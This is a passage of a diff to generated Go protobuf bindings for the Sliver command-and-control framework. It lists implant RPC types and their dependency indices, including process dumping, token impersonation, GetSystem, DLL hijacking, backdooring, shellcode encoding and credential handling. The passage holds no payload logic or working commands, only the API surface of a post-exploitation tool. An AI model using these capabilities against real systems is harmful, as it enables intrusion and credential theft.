+ (*clientpb.CrackTask)(nil), // 34: clientpb.CrackTask
+ (*clientpb.CrackFile)(nil), // 35: clientpb.CrackFile
+ (*clientpb.CrackFileChunk)(nil), // 36: clientpb.CrackFileChunk
+ (*clientpb.RegenerateReq)(nil), // 37: clientpb.RegenerateReq
+ (*clientpb.DeleteReq)(nil), // 38: clientpb.DeleteReq
+ (*clientpb.ImplantProfile)(nil), // 39: clientpb.ImplantProfile
+ (*clientpb.MsfStagerReq)(nil), // 40: clientpb.MsfStagerReq
+ (*clientpb.ShellcodeRDIReq)(nil), // 41: clientpb.ShellcodeRDIReq
+ (*clientpb.ShellcodeEncodeReq)(nil), // 42: clientpb.ShellcodeEncodeReq
+ (*clientpb.TrafficEncoder)(nil), // 43: clientpb.TrafficEncoder
+ (*clientpb.Website)(nil), // 44: clientpb.Website
+ (*clientpb.WebsiteAddContent)(nil), // 45: clientpb.WebsiteAddContent
+ (*clientpb.WebsiteRemoveContent)(nil), // 46: clientpb.WebsiteRemoveContent
+ (*sliverpb.Ping)(nil), // 47: sliverpb.Ping
+ (*sliverpb.PsReq)(nil), // 48: sliverpb.PsReq
+ (*sliverpb.TerminateReq)(nil), // 49: sliverpb.TerminateReq
+ (*sliverpb.IfconfigReq)(nil), // 50: sliverpb.IfconfigReq
+ (*sliverpb.NetstatReq)(nil), // 51: sliverpb.NetstatReq
+ (*sliverpb.LsReq)(nil), // 52: sliverpb.LsReq
+ (*sliverpb.CdReq)(nil), // 53: sliverpb.CdReq
+ (*sliverpb.PwdReq)(nil), // 54: sliverpb.PwdReq
+ (*sliverpb.MvReq)(nil), // 55: sliverpb.MvReq
+ (*sliverpb.CpReq)(nil), // 56: sliverpb.CpReq
+ (*sliverpb.RmReq)(nil), // 57: sliverpb.RmReq
+ (*sliverpb.MkdirReq)(nil), // 58: sliverpb.MkdirReq
+ (*sliverpb.DownloadReq)(nil), // 59: sliverpb.DownloadReq
+ (*sliverpb.UploadReq)(nil), // 60: sliverpb.UploadReq
+ (*sliverpb.GrepReq)(nil), // 61: sliverpb.GrepReq
+ (*sliverpb.ChmodReq)(nil), // 62: sliverpb.ChmodReq
+ (*sliverpb.ChownReq)(nil), // 63: sliverpb.ChownReq
+ (*sliverpb.ChtimesReq)(nil), // 64: sliverpb.ChtimesReq
+ (*sliverpb.MemfilesListReq)(nil), // 65: sliverpb.MemfilesListReq
+ (*sliverpb.MemfilesAddReq)(nil), // 66: sliverpb.MemfilesAddReq
+ (*sliverpb.MemfilesRmReq)(nil), // 67: sliverpb.MemfilesRmReq
+ (*sliverpb.ProcessDumpReq)(nil), // 68: sliverpb.ProcessDumpReq
+ (*sliverpb.RunAsReq)(nil), // 69: sliverpb.RunAsReq
+ (*sliverpb.ImpersonateReq)(nil), // 70: sliverpb.ImpersonateReq
+ (*sliverpb.RevToSelfReq)(nil), // 71: sliverpb.RevToSelfReq
+ (*clientpb.GetSystemReq)(nil), // 72: clientpb.GetSystemReq
+ (*sliverpb.TaskReq)(nil), // 73: sliverpb.TaskReq
+ (*clientpb.MSFReq)(nil), // 74: clientpb.MSFReq
+ (*clientpb.MSFRemoteReq)(nil), // 75: clientpb.MSFRemoteReq
+ (*sliverpb.ExecuteAssemblyReq)(nil), // 76: sliverpb.ExecuteAssemblyReq
+ (*clientpb.MigrateReq)(nil), // 77: clientpb.MigrateReq
+ (*sliverpb.ExecuteReq)(nil), // 78: sliverpb.ExecuteReq
+ (*sliverpb.ExecuteWindowsReq)(nil), // 79: sliverpb.ExecuteWindowsReq
+ (*sliverpb.SideloadReq)(nil), // 80: sliverpb.SideloadReq
+ (*sliverpb.InvokeSpawnDllReq)(nil), // 81: sliverpb.InvokeSpawnDllReq
+ (*sliverpb.ScreenshotReq)(nil), // 82: sliverpb.ScreenshotReq
+ (*sliverpb.CurrentTokenOwnerReq)(nil), // 83: sliverpb.CurrentTokenOwnerReq
+ (*sliverpb.PivotStartListenerReq)(nil), // 84: sliverpb.PivotStartListenerReq
+ (*sliverpb.PivotStopListenerReq)(nil), // 85: sliverpb.PivotStopListenerReq
+ (*sliverpb.PivotListenersReq)(nil), // 86: sliverpb.PivotListenersReq
+ (*sliverpb.StartServiceReq)(nil), // 87: sliverpb.StartServiceReq
+ (*sliverpb.StopServiceReq)(nil), // 88: sliverpb.StopServiceReq
+ (*sliverpb.RemoveServiceReq)(nil), // 89: sliverpb.RemoveServiceReq
+ (*sliverpb.MakeTokenReq)(nil), // 90: sliverpb.MakeTokenReq
+ (*sliverpb.EnvReq)(nil), // 91: sliverpb.EnvReq
+ (*sliverpb.SetEnvReq)(nil), // 92: sliverpb.SetEnvReq
+ (*sliverpb.UnsetEnvReq)(nil), // 93: sliverpb.UnsetEnvReq
+ (*clientpb.BackdoorReq)(nil), // 94: clientpb.BackdoorReq
+ (*sliverpb.RegistryReadReq)(nil), // 95: sliverpb.RegistryReadReq
+ (*sliverpb.RegistryWriteReq)(nil), // 96: sliverpb.RegistryWriteReq
+ (*sliverpb.RegistryCreateKeyReq)(nil), // 97: sliverpb.RegistryCreateKeyReq
+ (*sliverpb.RegistryDeleteKeyReq)(nil), // 98: sliverpb.RegistryDeleteKeyReq
+ (*sliverpb.RegistrySubKeyListReq)(nil), // 99: sliverpb.RegistrySubKeyListReq
+ (*sliverpb.RegistryListValuesReq)(nil), // 100: sliverpb.RegistryListValuesReq
+ (*sliverpb.SSHCommandReq)(nil), // 101: sliverpb.SSHCommandReq
+ (*clientpb.DllHijackReq)(nil), // 102: clientpb.DllHijackReq
+ (*sliverpb.GetPrivsReq)(nil), // 103: sliverpb.GetPrivsReq
+ (*sliverpb.RportFwdStartListenerReq)(nil), // 104: sliverpb.RportFwdStartListenerReq
+ (*sliverpb.RportFwdListenersReq)(nil), // 105: sliverpb.RportFwdListenersReq
+ (*sliverpb.RportFwdStopListenerReq)(nil), // 106: sliverpb.RportFwdStopListenerReq
+ (*sliverpb.OpenSession)(nil), // 107: sliverpb.OpenSession
+ (*sliverpb.CloseSession)(nil), // 108: sliverpb.CloseSession
+ (*sliverpb.RegisterExtensionReq)(nil), // 109: sliverpb.RegisterExtensionReq
+ (*sliverpb.CallExtensionReq)(nil), // 110: sliverpb.CallExtensionReq
+ (*sliverpb.ListExtensionsReq)(nil), // 111: sliverpb.ListExtensionsReq
+ (*sliverpb.RegisterWasmExtensionReq)(nil), // 112: sliverpb.RegisterWasmExtensionReq
+ (*sliverpb.ListWasmExtensionsReq)(nil), // 113: sliverpb.ListWasmExtensionsReq
+ (*sliverpb.ExecWasmExtensionReq)(nil), // 114: sliverpb.ExecWasmExtensionReq
+ (*sliverpb.WGPortForwardStartReq)(nil), // 115: sliverpb.WGPortForwardStartReq
+ (*sliverpb.WGPortForwardStopReq)(nil), // 116: sliverpb.WGPortForwardStopReq
+ (*sliverpb.WGSocksStartReq)(nil), // 117: sliverpb.WGSocksStartReq
+ (*sliverpb.WGSocksStopReq)(nil), // 118: sliverpb.WGSocksStopReq
+ (*sliverpb.WGTCPForwardersReq)(nil), // 119: sliverpb.WGTCPForwardersReq
+ (*sliverpb.WGSocksServersReq)(nil), // 120: sliverpb.WGSocksServersReq
+ (*sliverpb.ShellReq)(nil), // 121: sliverpb.ShellReq
+ (*sliverpb.PortfwdReq)(nil), // 122: sliverpb.PortfwdReq
+ (*sliverpb.Socks)(nil), // 123: sliverpb.Socks
+ (*sliverpb.SocksData)(nil), // 124: sliverpb.SocksData
+ (*sliverpb.Tunnel)(nil), // 125: sliverpb.Tunnel
+ (*sliverpb.TunnelData)(nil), // 126: sliverpb.TunnelData
+ (*clientpb.Version)(nil), // 127: clientpb.Version
+ (*clientpb.Users)(nil), // 128: clientpb.Users
+ (*sliverpb.Reconfigure)(nil), // 129: sliverpb.Reconfigure
+ (*clientpb.History)(nil), // 130: clientpb.History
+ (*clientpb.Sessions)(nil), // 131: clientpb.Sessions
+ (*commonpb.Response)(nil), // 132: commonpb.Response
+ (*clientpb.MonitoringProviders)(nil), // 133: clientpb.MonitoringProviders
+ (*clientpb.ListenerJob)(nil), // 134: clientpb.ListenerJob
+ (*clientpb.Beacons)(nil), // 135: clientpb.Beacons
+ (*clientpb.BeaconTasks)(nil), // 136: clientpb.BeaconTasks
+ (*clientpb.Jobs)(nil), // 137: clientpb.Jobs
+ (*clientpb.KillJob)(nil), // 138: clientpb.KillJob
+ (*clientpb.StagerListener)(nil), // 139: clientpb.StagerListener
+ (*clientpb.AllLoot)(nil), // 140: clientpb.AllLoot
+ (*clientpb.AllHosts)(nil), // 141: clientpb.AllHosts
+ (*clientpb.Generate)(nil), // 142: clientpb.Generate
+ (*clientpb.ExternalImplantConfig)(nil), // 143: clientpb.ExternalImplantConfig
+ (*clientpb.HTTPC2Configs)(nil), // 144: clientpb.HTTPC2Configs
+ (*clientpb.HTTPC2Config)(nil), // 145: clientpb.HTTPC2Config
+ (*clientpb.Builders)(nil), // 146: clientpb.Builders
+ (*clientpb.Crackstations)(nil), // 147: clientpb.Crackstations
+ (*clientpb.CrackFiles)(nil), // 148: clientpb.CrackFiles
+ (*clientpb.ImplantBuilds)(nil), // 149: clientpb.ImplantBuilds
+ (*clientpb.Canaries)(nil), // 150: clientpb.Canaries
+ (*clientpb.WGClientConfig)(nil), // 151: clientpb.WGClientConfig
+ (*clientpb.UniqueWGIP)(nil), // 152: clientpb.UniqueWGIP
+ (*clientpb.ImplantProfiles)(nil), // 153: clientpb.ImplantProfiles
+ (*clientpb.MsfStager)(nil), // 154: clientpb.MsfStager
+ (*clientpb.ShellcodeRDI)(nil), // 155: clientpb.ShellcodeRDI
+ (*clientpb.Compiler)(nil), // 156: clientpb.Compiler
+ (*clientpb.MetasploitCompiler)(nil), // 157: clientpb.MetasploitCompiler
+ (*clientpb.ShellcodeEncode)(nil), // 158: clientpb.ShellcodeEncode
+ (*clientpb.ShellcodeEncoderMap)(nil), // 159: clientpb.ShellcodeEncoderMap
+ (*clientpb.TrafficEncoderMap)(nil), // 160: clientpb.TrafficEncoderMap
+ (*clientpb.TrafficEncoderTests)(nil), // 161: clientpb.TrafficEncoderTests
+ (*clientpb.Websites)(nil), // 162: clientpb.Websites
+ (*sliverpb.Ps)(nil), // 163: sliverpb.Ps
+ (*sliverpb.Terminate)(nil), // 164: sliverpb.Terminate
+ (*sliverpb.Ifconfig)(nil), // 165: sliverpb.Ifconfig
+ (*sliverpb.Netstat)(nil), // 166: sliverpb.Netstat
+ (*sliverpb.Ls)(nil), // 167: sliverpb.Ls
+ (*sliverpb.Pwd)(nil), // 168: sliverpb.Pwd
+ (*sliverpb.Mv)(nil), // 169: sliverpb.Mv
+ (*sliverpb.Cp)(nil), // 170: sliverpb.Cp
+ (*sliverpb.Rm)(nil), // 171: sliverpb.Rm
+ (*sliverpb.Mkdir)(nil), // 172: sliverpb.Mkdir
+ (*sliverpb.Download)(nil), // 173: sliverpb.Download
+ (*sliverpb.Upload)(nil), // 174: sliverpb.Upload
+ (*sliverpb.Grep)(nil), // 175: sliverpb.Grep
+ (*sliverpb.Chmod)(nil), // 176: sliverpb.Chmod
+ (*sliverpb.Chown)(nil), // 177: sliverpb.Chown
+ (*sliverpb.Chtimes)(nil), // 178: sliverpb.Chtimes
+ (*sliverpb.MemfilesAdd)(nil), // 179: sliverpb.MemfilesAdd
+ (*sliverpb.MemfilesRm)(nil), // 180: sliverpb.MemfilesRm
+ (*sliverpb.ProcessDump)(nil), // 181: sliverpb.ProcessDump
+ (*sliverpb.RunAs)(nil), // 182: sliverpb.RunAs
+ (*sliverpb.Impersonate)(nil), // 183: sliverpb.Impersonate
+ (*sliverpb.RevToSelf)(nil), // 184: sliverpb.RevToSelf
+ (*sliverpb.GetSystem)(nil), // 185: sliverpb.GetSystem
+ (*sliverpb.Task)(nil), // 186: sliverpb.Task
+ (*sliverpb.ExecuteAssembly)(nil), // 187: sliverpb.ExecuteAssembly
+ (*sliverpb.Migrate)(nil), // 188: sliverpb.Migrate
+ (*sliverpb.Execute)(nil), // 189: sliverpb.Execute
+ (*sliverpb.Sideload)(nil), // 190: sliverpb.Sideload
+ (*sliverpb.SpawnDll)(nil), // 191: sliverpb.SpawnDll
+ (*sliverpb.Screenshot)(nil), // 192: sliverpb.Screenshot
+ (*sliverpb.CurrentTokenOwner)(nil), // 193: sliverpb.CurrentTokenOwner
+ (*sliverpb.PivotListener)(nil), // 194: sliverpb.PivotListener
+ (*sliverpb.PivotListeners)(nil), // 195: sliverpb.PivotListeners
+ (*clientpb.PivotGraph)(nil), // 196: clientpb.PivotGraph
+ (*sliverpb.ServiceInfo)(nil), // 197: sliverpb.ServiceInfo
+ (*sliverpb.MakeToken)(nil), // 198: sliverpb.MakeToken
+ (*sliverpb.EnvInfo)(nil), // 199: sliverpb.EnvInfo
+ (*sliverpb.SetEnv)(nil), // 200: sliverpb.SetEnv
+ (*sliverpb.UnsetEnv)(nil), // 201: sliverpb.UnsetEnv
+ (*clientpb.Backdoor)(nil), // 202: clientpb.Backdoor
+ (*sliverpb.RegistryRead)(nil), // 203: sliverpb.RegistryRead
+ (*sliverpb.RegistryWrite)(nil), // 204: sliverpb.RegistryWrite
+ (*sliverpb.RegistryCreateKey)(nil), // 205: sliverpb.RegistryCreateKey
+ (*sliverpb.RegistryDeleteKey)(nil), // 206: sliverpb.RegistryDeleteKey
+ (*sliverpb.RegistrySubKeyList)(nil), // 207: sliverpb.RegistrySubKeyList
+ (*sliverpb.RegistryValuesList)(nil), // 208: sliverpb.RegistryValuesList
+ (*sliverpb.SSHCommand)(nil), // 209: sliverpb.SSHCommand
+ (*clientpb.DllHijack)(nil), // 210: clientpb.DllHijack
+ (*sliverpb.GetPrivs)(nil), // 211: sliverpb.GetPrivs
+ (*sliverpb.RportFwdListener)(nil), // 212: sliverpb.RportFwdListener
+ (*sliverpb.RportFwdListeners)(nil), // 213: sliverpb.RportFwdListeners
+ (*sliverpb.RegisterExtension)(nil), // 214: sliverpb.RegisterExtension
+ (*sliverpb.CallExtension)(nil), // 215: sliverpb.CallExtension
+ (*sliverpb.ListExtensions)(nil), // 216: sliverpb.ListExtensions
+ (*sliverpb.RegisterWasmExtension)(nil), // 217: sliverpb.RegisterWasmExtension
+ (*sliverpb.ListWasmExtensions)(nil), // 218: sliverpb.ListWasmExtensions
+ (*sliverpb.ExecWasmExtension)(nil), // 219: sliverpb.ExecWasmExtension
+ (*sliverpb.WGPortForward)(nil), // 220: sliverpb.WGPortForward
+ (*sliverpb.WGSocks)(nil), // 221: sliverpb.WGSocks
+ (*sliverpb.WGTCPForwarders)(nil), // 222: sliverpb.WGTCPForwarders
+ (*sliverpb.WGSocksServers)(nil), // 223: sliverpb.WGSocksServers
+ (*sliverpb.Shell)(nil), // 224: sliverpb.Shell
+ (*sliverpb.Portfwd)(nil), // 225: sliverpb.Portfwd
}
var file_rpcpb_services_proto_depIdxs = []int32{
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
- 1, // 1: rpcpb.SliverRPC.ClientLog:input_type -> clientpb.ClientLogData
- 0, // 2: rpcpb.SliverRPC.GetOperators:input_type -> commonpb.Empty
+ 0, // 1: rpcpb.SliverRPC.GetUsers:input_type -> commonpb.Empty
+ 1, // 2: rpcpb.SliverRPC.ClientLog:input_type -> clientpb.ClientLogData
2, // 3: rpcpb.SliverRPC.Kill:input_type -> sliverpb.KillReq
3, // 4: rpcpb.SliverRPC.Reconfigure:input_type -> sliverpb.ReconfigureReq
4, // 5: rpcpb.SliverRPC.Rename:input_type -> clientpb.RenameReq
- 0, // 6: rpcpb.SliverRPC.GetSessions:input_type -> commonpb.Empty
- 0, // 7: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty
- 0, // 8: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty
- 0, // 9: rpcpb.SliverRPC.MonitorListConfig:input_type -> commonpb.Empty
- 5, // 10: rpcpb.SliverRPC.MonitorAddConfig:input_type -> clientpb.MonitoringProvider
- 5, // 11: rpcpb.SliverRPC.MonitorDelConfig:input_type -> clientpb.MonitoringProvider
- 6, // 12: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq
- 7, // 13: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq
- 8, // 14: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq
- 9, // 15: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq
- 9, // 16: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq
- 0, // 17: rpcpb.SliverRPC.GetBeacons:input_type -> commonpb.Empty
- 10, // 18: rpcpb.SliverRPC.GetBeacon:input_type -> clientpb.Beacon
- 10, // 19: rpcpb.SliverRPC.RmBeacon:input_type -> clientpb.Beacon
- 10, // 20: rpcpb.SliverRPC.GetBeaconTasks:input_type -> clientpb.Beacon
- 11, // 21: rpcpb.SliverRPC.GetBeaconTaskContent:input_type -> clientpb.BeaconTask
- 11, // 22: rpcpb.SliverRPC.CancelBeaconTask:input_type -> clientpb.BeaconTask
- 0, // 23: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty
- 12, // 24: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq
- 13, // 25: rpcpb.SliverRPC.RestartJobs:input_type -> clientpb.RestartJobReq
- 14, // 26: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq
- 15, // 27: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot
- 15, // 28: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot
- 15, // 29: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot
- 15, // 30: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot
- 0, // 31: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty
- 0, // 32: rpcpb.SliverRPC.Creds:input_type -> commonpb.Empty
- 16, // 33: rpcpb.SliverRPC.CredsAdd:input_type -> clientpb.Credentials
- 16, // 34: rpcpb.SliverRPC.CredsRm:input_type -> clientpb.Credentials
- 16, // 35: rpcpb.SliverRPC.CredsUpdate:input_type -> clientpb.Credentials
- 17, // 36: rpcpb.SliverRPC.GetCredByID:input_type -> clientpb.Credential
- 17, // 37: rpcpb.SliverRPC.GetCredsByHashType:input_type -> clientpb.Credential
- 17, // 38: rpcpb.SliverRPC.GetPlaintextCredsByHashType:input_type -> clientpb.Credential
- 17, // 39: rpcpb.SliverRPC.CredsSniffHashType:input_type -> clientpb.Credential
- 0, // 40: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty
- 18, // 41: rpcpb.SliverRPC.Host:input_type -> clientpb.Host
- 18, // 42: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host
- 19, // 43: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC
- 20, // 44: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq
- 21, // 45: rpcpb.SliverRPC.GenerateExternal:input_type -> clientpb.ExternalGenerateReq
- 22, // 46: rpcpb.SliverRPC.GenerateExternalSaveBuild:input_type -> clientpb.ExternalImplantBinary
- 23, // 47: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:input_type -> clientpb.ImplantBuild
- 24, // 48: rpcpb.SliverRPC.GenerateStage:input_type -> clientpb.GenerateStageReq
- 25, // 49: rpcpb.SliverRPC.StageImplantBuild:input_type -> clientpb.ImplantStageReq
- 0, // 50: rpcpb.SliverRPC.GetHTTPC2Profiles:input_type -> commonpb.Empty
- 26, // 51: rpcpb.SliverRPC.GetHTTPC2ProfileByName:input_type -> clientpb.C2ProfileReq
- 27, // 52: rpcpb.SliverRPC.SaveHTTPC2Profile:input_type -> clientpb.HTTPC2ConfigReq
- 28, // 53: rpcpb.SliverRPC.BuilderRegister:input_type -> clientpb.Builder
- 29, // 54: rpcpb.SliverRPC.BuilderTrigger:input_type -> clientpb.Event
- 0, // 55: rpcpb.SliverRPC.Builders:input_type -> commonpb.Empty
- 30, // 56: rpcpb.SliverRPC.CrackstationRegister:input_type -> clientpb.Crackstation
- 29, // 57: rpcpb.SliverRPC.CrackstationTrigger:input_type -> clientpb.Event
- 31, // 58: rpcpb.SliverRPC.CrackstationBenchmark:input_type -> clientpb.CrackBenchmark
- 0, // 59: rpcpb.SliverRPC.Crackstations:input_type -> commonpb.Empty
- 32, // 60: rpcpb.SliverRPC.CrackTaskByID:input_type -> clientpb.CrackTask
- 32, // 61: rpcpb.SliverRPC.CrackTaskUpdate:input_type -> clientpb.CrackTask
- 33, // 62: rpcpb.SliverRPC.CrackFilesList:input_type -> clientpb.CrackFile
- 33, // 63: rpcpb.SliverRPC.CrackFileCreate:input_type -> clientpb.CrackFile
- 34, // 64: rpcpb.SliverRPC.CrackFileChunkUpload:input_type -> clientpb.CrackFileChunk
- 34, // 65: rpcpb.SliverRPC.CrackFileChunkDownload:input_type -> clientpb.CrackFileChunk
- 33, // 66: rpcpb.SliverRPC.CrackFileComplete:input_type -> clientpb.CrackFile
- 33, // 67: rpcpb.SliverRPC.CrackFileDelete:input_type -> clientpb.CrackFile
- 35, // 68: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq
- 0, // 69: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty
- 36, // 70: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq
- 0, // 71: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty
- 0, // 72: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty
- 0, // 73: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty
- 0, // 74: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty
- 36, // 75: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq
- 37, // 76: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile
- 38, // 77: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq
- 39, // 78: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq
- 0, // 79: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty
- 40, // 80: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq
- 0, // 81: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty
- 0, // 82: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty
- 41, // 83: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder
- 41, // 84: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder
- 0, // 85: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty
- 42, // 86: rpcpb.SliverRPC.Website:input_type -> clientpb.Website
- 42, // 87: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website
- 43, // 88: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent
- 43, // 89: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent
- 44, // 90: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent
- 45, // 91: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping
- 46, // 92: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq
- 47, // 93: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq
- 48, // 94: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq
- 49, // 95: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq
- 50, // 96: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq
- 51, // 97: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq
- 52, // 98: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq
- 53, // 99: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq
- 54, // 100: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq
- 55, // 101: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq
- 56, // 102: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq
- 57, // 103: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq
- 58, // 104: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq
- 59, // 105: rpcpb.SliverRPC.Grep:input_type -> sliverpb.GrepReq
- 60, // 106: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq
- 61, // 107: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq
- 62, // 108: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq
- 63, // 109: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq
- 64, // 110: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq
- 65, // 111: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq
- 66, // 112: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq
- 67, // 113: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq
- 68, // 114: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq
- 69, // 115: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq
- 70, // 116: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq
- 71, // 117: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq
- 72, // 118: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq
- 73, // 119: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq
- 74, // 120: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq
- 75, // 121: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq
- 76, // 122: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq
- 77, // 123: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq
- 78, // 124: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq
- 79, // 125: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq
- 80, // 126: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
- 81, // 127: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq
- 82, // 128: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
- 83, // 129: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
- 84, // 130: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
- 0, // 131: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
- 85, // 132: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
- 86, // 133: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
- 87, // 134: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
- 88, // 135: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
- 89, // 136: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
- 90, // 137: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
- 91, // 138: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
- 92, // 139: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq
- 93, // 140: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
- 94, // 141: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
- 95, // 142: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
- 96, // 143: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
- 97, // 144: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
- 98, // 145: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
- 99, // 146: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
- 100, // 147: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
- 101, // 148: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
- 102, // 149: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq
- 103, // 150: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq
- 104, // 151: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq
- 105, // 152: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
- 106, // 153: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
- 107, // 154: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
- 108, // 155: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
- 109, // 156: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
- 110, // 157: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq
- 111, // 158: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq
- 112, // 159: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq
